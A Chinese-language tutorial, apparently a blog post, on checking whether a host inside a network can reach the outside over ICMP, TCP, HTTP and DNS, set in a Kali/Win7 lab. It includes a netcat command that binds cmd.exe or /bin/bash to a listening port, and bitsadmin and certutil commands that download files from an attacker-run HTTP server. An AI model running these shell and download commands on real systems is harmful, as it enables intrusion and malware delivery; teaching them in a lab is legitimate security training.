内网隧道——内网探测出网


该部分主要是探测目标主机是否出网,网络拓扑图如下:
在这里插入图片描述
kali:192.168.111.0
win7:192.168.111.128

一、ICMP协议探测出网

ICMP(Internet Control Message Protocol)是一种面向无连接的协议,属于网络层的协议,用于检测网络通信故障和实现链路追踪。

1.1 Windows系统探测ICMP协议出网

(1)ping

ping命令经常用于测试网络连通性,由于该命令是基于ICMP协议来实现的,因此Ping是ICMP出网测试中最常用的命令。

ping www.baidu.com

返回如下图信息,即证明ICMP协议出网探测成功。
在这里插入图片描述

(2)tracert 命令

tracert命令是Windows中用来跟踪路由的命令,它依靠ICMP协议实现,在ICMP出网测试中只需要使用Tracert命令跟踪下目标地址即可。

tracert www.baidu.com

获得下图的返回信息,即证明出网成功。
在这里插入图片描述

1.2 Linux系统探测ICMP协议出网

在Linux系统中探测ICMP协议出网通常可以使用ping命令,但linux系统需要使用-c来指定次数,Windows系统下ping命令执行第4次后会自动停止,linux系统则不会自动停止。

ping -c 4 www.baidu.com

获得下图的返回信息,即证明出网成功。
在这里插入图片描述

二、TCP协议探测出网

2.1 NC工具探测TCP协议出网

目标主机上使用nc监听8888端口,并将shell反弹

nc -lvp 8888 -e cmd.exe
# -l:监听
# -v:显示指令执行过程
# -p <source port>:设置监听端口
# -e cmd.exe:将win7的shell反弹给kali
# 如果是linux主机监听的话,就是:-e /bin/bash

kali使用nc连接win7

nc -nv 192.168.111.128 8888
# -n:直接使用IP地址,而不通过域名服务器
# -v:显示指令执行过程

在这里插入图片描述)
在这里插入图片描述)

成功连接~

2.2 Telnet命令探测TCP协议出网

kali上使用nc监听8888端口

nc -lvp 8888
# -l:监听
# -v:显示指令执行过程
# -p <source port>:设置监听端口

目标主机使用telnet去探测kali的8888端口

telnet 192.168.111.0 8888

结果如下显示,说明通过TCP协议出网。
在这里插入图片描述

三、HTTP/HTTPS协议探测出网

3.1 Windows系统探测HTTP/HTTPS出网

(1) Bitsadmin 命令
Bitsadmin命令在Windows操作系统是用于创建、下载或上传作业,并监视作业进度的命令行工具。可通过该命令行工具测试能否从网站下载文件,以此来检测http或https是否出网

kali上开启http服务:

python3 -m http.server 9999

在这里插入图片描述
win7下使用Bitsadmin命令下载指定文件。

# 使用Bitsadmin命令下载test.php文件,并保存到本地C盘下的test.php中
bitsadmin /rawreturn /transfer down "http://192.168.111.0:9999/test.php" c:\test.php"

type c:\test.php # type:显示文本内容,相当于linux下的cat

如若正常下载,则证明探测出网成功。
在这里插入图片描述
(2)Certuil 命令
Certuil命令是windows操作系统中的一款下载文件的命令行工具,可作为证书服务的安装,用来转储和显示证书颁发机构 (CA) 配置信息,配置证书服务,备份和还原CA组件,以及验证证书、密钥对和证书链。

kali上开启http服务:

python3 -m http.server 9999

在这里插入图片描述
win7下使用certutil下载指定文件。

certutil -urlcache -split -f http://192.168.111.0:9999/test.php c:\t.php

type c:\t.php # type:显示文本内容,相当于linux下的cat

在这里插入图片描述

3.2 Linux系统探测HTTP/HTTPS出网

(1)curl
Curl是Linux自带的命令行工具,用于传输来自服务器或者到服务器的数据。

curl https://www.baidu.com

该命令会显示返回数据包内容

在这里插入图片描述
(2)wget
Wget是Linux下一款命令行下载工具,支持http和ftp协议,支持多种下载模式,一般用于批量下载文件。

# 下载robots.txt
wget https://www.baidu.com/robots.txt

在这里插入图片描述

五、DNS协议探测出网

5.1 Windows系统探测DNS协议出网

在Windows系统中测试DNS协议出网可使用nslookup命令,这是一种网络管理命令行工具,可以用来查询DNS域名和IP解析

nslookup <url> <指定DNS服务器>

在这里插入图片描述

5.2 Linux系统探测DNS协议出网

(1)dig
dig命令在Linux操作系统中用于询问DNS,可以查询DNS协议下的NS记录、A记录、MX记录相关信息

dig @8.8.8.8 www.baidu.com

这里指定DNS服务器,8.8.8.8是Google的DNS服务器。返回响应结果,证明出网成功。

在这里插入图片描述
(2)nslookup
同windows

nslookup <url> <指定DNS服务器>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值